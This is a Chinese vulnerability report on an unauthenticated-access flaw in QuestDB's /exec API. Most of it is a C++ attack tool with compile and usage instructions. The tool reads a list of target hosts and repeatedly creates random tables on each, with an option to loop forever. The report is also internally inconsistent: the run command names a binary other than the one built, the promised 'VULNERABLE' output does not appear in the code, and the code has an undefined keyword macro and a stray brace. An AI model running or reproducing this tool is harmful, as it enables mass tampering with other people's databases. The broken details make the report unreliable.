CNVD-2026-13173
QuestDB 未授权访问漏洞分析报告

危害级别: 中 (AV:N/AC:L/Au:N/C:P/I:N/A:N) 公开日期: 2026-02-14 哪吒网络安全安全团队

善意声明

作为一名怀着赤诚之心的安全研究员,我谨在此郑重声明:本次安全审计的唯一目的是帮助改进系统安全性,为保护用户数据安全尽一份力。报告中所有敏感信息均已进行脱敏处理。我始终秉持"善意披露、负责任报告"的原则,协助开发团队尽快修复安全隐患。

1. 漏洞概述

1.1 什么是 CNVD-2026-13173

CNVD-2026-13173 是一个影响 QuestDB 数据库的未授权访问漏洞。QuestDB 是一个开源的时间序列数据库,以其极快的导入速度和动态、低延迟的 SQL 查询能力而闻名。

1.2 漏洞基本信息

信息项 详情
漏洞类型 未授权访问漏洞
危害级别 中 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
影响产品 QuestDB
公开日期 2026-02-14
报送日期 2026-02-26
收录日期 2026-03-10

2. 漏洞详情

2.1 漏洞描述

QuestDB 存在未授权访问漏洞,攻击者可利用该漏洞获取敏感信息。具体来说,QuestDB 的认证配置失效导致未授权用户能够访问系统中的敏感数据。

该漏洞允许攻击者绕过身份验证机制,无需提供有效凭证即可访问受保护的 API 端点。

2.2 漏洞成因

  • 身份验证配置失效,导致无需提供有效凭证即可访问受保护的 API 端点
  • 认证逻辑存在缺陷,可能允许空凭证或错误凭证通过验证
  • 格式错误的 Authorization 头部可能被后端解析器错误处理

2.3 潜在危害

数据泄露:

攻击者可以访问数据库中的敏感信息,包括业务数据、用户信息等。

数据破坏:

攻击者可能执行破坏性操作,如删除表或修改数据。

3. 漏洞测试工具

3.1 项目结构

CNVD-2026-13173/
├── inject.cc          # 主测试工具(C++版本)
├── README.md          # 项目说明文档
└── hosts.txt          # 目标主机列表示例(可选)

3.2 工具功能

多主机批量测试

支持从文件读取多个目标主机地址

循环执行模式

支持有限次数循环和无限循环两种模式

随机 SQL 生成

自动生成随机的表名和列定义进行注入测试

实时进度显示

显示每次注入的详细信息和 HTTP 响应状态

3.3 环境要求

编译环境

  • 编译器:GCC/G++ 编译器(支持 C++11 标准)
  • 依赖库:libcurl 开发库
  • 操作系统:POSIX 兼容系统(Linux, macOS 等)

运行环境

  • 运行时依赖:libcurl 库
  • 网络要求:能够访问目标 QuestDB 服务器

4. 使用指南

4.1 编译教程

步骤 1:安装依赖

# Ubuntu/Debian 系统:
sudo apt update
sudo apt install g++ libcurl4-openssl-dev

# CentOS/RHEL 系统:
sudo yum install gcc-c++ curl-devel

# macOS 系统:
brew install gcc curl

步骤 2:编译工具

g++ -o inject inject.cc -lcurl -std=c++11 -O2 -Wall -Wextra

4.2 基本语法

./inject -f <主机文件> -l <循环次数|inf>

参数说明

  • -f, --file <主机文件>:指定包含目标主机列表的文件路径
  • -l, --loop <循环次数|inf>:指定循环执行次数

4.3 使用示例

示例 1:对单主机执行 1 次测试

./inject -f hosts.txt -l 1

示例 2:对多主机执行 5 次循环测试

./inject -f target_hosts.txt -l 5

示例 3:无限循环测试模式

./inject -f hosts.txt -l inf

示例 4:使用默认 localhost 目标

./inject -l 3

4.4 结果解读

HTTP 状态码 含义
200 请求成功,目标可能存在漏洞
401/403 访问被拒绝,目标可能已修复漏洞
404 请求的路径不存在
其他 需要根据具体情况分析

5. POC 代码

5.1 C++ POC 示例

以下是一个 C++ 代码示例,用于测试 QuestDB 的未授权访问漏洞:


#define 结构 struct
#define 类 class
#define 函数 void
#define 整数 int
#define 布尔 bool
#define 字符串 std::string
#define 向量 std::vector
#define 常量 const
#define 静态 static
#define 空 nullptr

#define 开始 {
#define 结束 }
#define 如果 if
#define 否则 else
#define 当 while
#define 对于 for
#define 开关 switch
#define 案例 case
#define 跳出 break
#define 继续 continue
#define 返回 return

#define 公开 public
#define 私有 private
#define 保护 protected

#define 输出 std::cout
#define 输入 std::cin

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

结构 选项结构体 开始
    字符串 主机文件路径;
    整数 循环次数 = 1;
    布尔 无限循环标志 = false;
结束;


选项结构体 解析命令行参数(整数 参数数量, char** 参数数组) 开始
    选项结构体 选项;
    整数 c;
    结构 option 长选项数组[] = 开始
        {"file",   required_argument, 空, 'f'},
        {"loop",   required_argument, 空, 'l'},
        {"l",      required_argument, 空, 'l'},
        {空, 0, 空, 0}
    结束;

    当 ((c = getopt_long(参数数量, 参数数组, "f:l:", 长选项数组, 空)) != -1) 开始
        开关 (c) 开始
            案例 'f':
                选项.主机文件路径 = optarg;
                跳出;
            案例 'l':
                如果 (strcmp(optarg, "inf") == 0 || strcmp(optarg, "0") == 0) 开始
                    选项.无限循环标志 = true;
                    选项.循环次数 = -1;
                结束 否则 开始
                    选项.循环次数 = std::atoi(optarg);
                    如果 (选项.循环次数 <= 0) 开始
                        std::cerr << "错误:循环次数必须为正整数或 inf\n";
                        exit(1);
                    结束
                结束
                跳出;
            默认:
                std::cerr << "用法: " << 参数数组[0] << " -f <主机文件> -l <次数|inf>\n";
                exit(1);
        结束
    结束
    返回 选项;
结束

// 从文件读取主机列表(忽略空行和 # 注释)
向量<字符串> 从文件读取主机列表(常量 字符串& 文件名) 开始
    向量<字符串> 主机列表;
    std::ifstream 文件(文件名);
    如果 (!文件.is_open()) 开始
        std::perror("fopen");
        返回 主机列表;
    结束

    字符串 行;
    当 (std::getline(文件, 行)) 开始
        // 去除行首尾空白
        size_t 开始位置 = 行.find_first_not_of(" \t");
        如果 (开始位置 == 字符串::npos) 继续;  // 空行
        size_t 结束位置 = 行.find_last_not_of(" \t");
        字符串 修剪后 = 行.substr(开始位置, 结束位置 - 开始位置 + 1);

        // 跳过注释行(# 开头)
        如果 (修剪后.empty() || 修剪后[0] == '#') 继续;

        主机列表.push_back(修剪后);
    结束
    返回 主机列表;
结束

// 生成随机小写字母字符串
字符串 随机字符串(size_t 长度) 开始
    静态 常量 char 字符集[] = "abcdefghijklmnopqrstuvwxyz";
    静态 布尔 已初始化随机种子 = false;
    如果 (!已初始化随机种子) 开始
        std::srand(std::time(空) ^ getpid());
        已初始化随机种子 = true;
    结束
    字符串 结果;
    对于 (size_t i = 0; i < 长度; ++i) 开始
        结果 += 字符集[std::rand() % (sizeof(字符集) - 1)];
    结束
    返回 结果;
结束

// libcurl 写入回调(忽略响应体)
size_t 写入回调函数(void* 内容, size_t 大小, size_t 元素数量, void* 用户指针) 开始
    返回 大小 * 元素数量;
结束

// 对单个主机执行注入
函数 执行表注入(常量 字符串& 主机地址, 整数 端口号) 开始
    // 随机表名 (5-10 字母)
    整数 表名长度 = 5 + std::rand() % 6;
    字符串 表名 = 随机字符串(表名长度);

    // 随机列 (2-10 列)
    整数 列数量 = 2 + std::rand() % 9;
    字符串 列定义;
    对于 (整数 i = 0; i < 列数量; ++i) 开始
        如果 (i > 0) 列定义 += ", ";
        列定义 += 随机字符串(5) + " INT";
    结束

    // 构造 SQL
    字符串 查询语句 = "CREATE TABLE " + 表名 + " (" + 列定义 + ");";

    // 构造 URL
    字符串 url;
    如果 (主机地址.find("http://") == 0 || 主机地址.find("https://") == 0) 开始
        url = 主机地址 + "/exec";
    结束 否则 开始
        url = "http://" + 主机地址 + ":" + std::to_string(端口号) + "/exec";
    结束

    CURL* curl指针 = curl_easy_init();
    如果 (!curl指针) 开始
        std::cerr << "curl_easy_init 失败\n";
        返回;
    结束

    // URL 编码查询参数
    char* 编码后的查询 = curl_easy_escape(curl指针, 查询语句.c_str(), 0);
    字符串 完整URL = url + "?query=" + 编码后的查询;
    curl_easy_setopt(curl指针, CURLOPT_URL, 完整URL.c_str());
    curl_easy_setopt(curl指针, CURLOPT_HTTPGET, 1L);
    curl_easy_setopt(curl指针, CURLOPT_WRITEFUNCTION, 写入回调函数);
    curl_easy_setopt(curl指针, CURLOPT_TIMEOUT, 10L);

    CURLcode 执行结果 = curl_easy_perform(curl指针);
    long HTTP状态码 = 0;
    如果 (执行结果 == CURLE_OK) 开始
        curl_easy_getinfo(curl指针, CURLINFO_RESPONSE_CODE, &HTTP状态码);
    结束 否则 开始
        HTTP状态码 = -1;
    结束
    curl_easy_cleanup(curl指针);
    curl_free(编码后的查询);

    // 输出时间戳
    time_t 当前时间 = std::time(空);
    结构 tm* 时间信息 = std::localtime(&当前时间);
    char 时间缓冲区[32];
    std::strftime(时间缓冲区, sizeof(时间缓冲区), "%H:%M:%S", 时间信息);

    输出 << "[" << 时间缓冲区 << "] 正在注入表: " << 表名
         << " @ " << 主机地址 << " | 状态码: " << HTTP状态码 << std::endl;
结束

整数 main(整数 参数数量, char** 参数数组) 开始
    选项结构体 选项 = 解析命令行参数(参数数量, 参数数组);

    // 获取主机列表
    向量<字符串> 主机列表;
    如果 (!选项.主机文件路径.empty()) 开始
        主机列表 = 从文件读取主机列表(选项.主机文件路径);
        如果 (主机列表.empty()) 开始
            std::cerr << "错误:无法从文件 " << 选项.主机文件路径 << " 读取有效主机\n";
            返回 1;
        结束
    结束 否则 开始
        // 默认 localhost
        主机列表.push_back("localhost");
    结束

    输出 << "[*] 目标主机列表:\n";
    对于 (常量 auto& h : 主机列表) 开始
        输出 << "    " << h << std::endl;
    结束
    如果 (选项.无限循环标志) 开始
        输出 << "[*] 循环模式: 无限循环 (按 Ctrl+C 停止)\n";
    结束 否则 开始
        输出 << "[*] 循环模式: " << 选项.循环次数 << " 次\n";
    结束
    输出 << "[*] 目标端口: " << 9000<< "\n\n";

    curl_global_init(CURL_GLOBAL_ALL);

    整数 全局循环计数器 = 1;
    当 (true) 开始
        对于 (常量 auto& 主机 : 主机列表) 开始
            如果 (!选项.无限循环标志) 开始
                输出 << "--- 循环 " << 全局循环计数器 << "/" << 选项.循环次数
                     << " - 目标主机: " << 主机 << " ---\n";
            结束 否则 开始
                输出 << "--- 全局循环 #" << 全局循环计数器 << " - 目标主机: " << 主机 << " ---\n";
            结束
            执行表注入(主机, 9000);
        结束
        全局循环计数器++;

        如果 (!选项.无限循环标志) 开始
            如果 (全局循环计数器 > 选项.循环次数) 跳出;
        结束 否则 开始
            usleep(500000);  // 0.5 秒
        结束
    结束

    curl_global_cleanup();
    返回 0;
结束
}

5.2 使用方法

步骤 1:安装依赖

# Ubuntu/Debian 系统:
sudo apt update
sudo apt install g++ libcurl4-openssl-dev

# CentOS/RHEL 系统:
sudo yum install gcc-c++ curl-devel

# macOS 系统:
brew install gcc curl

步骤 2:编译代码

https://github.com/ctkqiang/CNVD-2026-1317.git

步骤 2:编译代码

g++ -o inject inject.cc -lcurl -std=c++11 -O2 -Wall -Wextra

步骤 3:运行程序

./poc http://target:9000

5.3 预期结果

  • 如果目标存在漏洞,程序将显示 "[VULNERABLE] 未授权访问成功!"
  • 如果目标已修复漏洞,程序将显示 "访问被拒绝"
  • 如果目标无法访问,程序将显示相应的错误信息

5. 修复与防御建议

1

临时解决方案

在 QuestDB 前端部署反向代理(如 Nginx)并启用 HTTP Basic 认证,作为额外的访问控制层。

2

正式解决方案

厂商尚未提供漏洞修复方案,请关注厂商主页更新:https://questdb.com/

3

安全注意事项

  • 合法使用:本工具仅用于授权安全测试,禁止用于非法攻击
  • 权限要求:确保对目标主机有明确的测试授权
  • 网络连接:确保网络连通性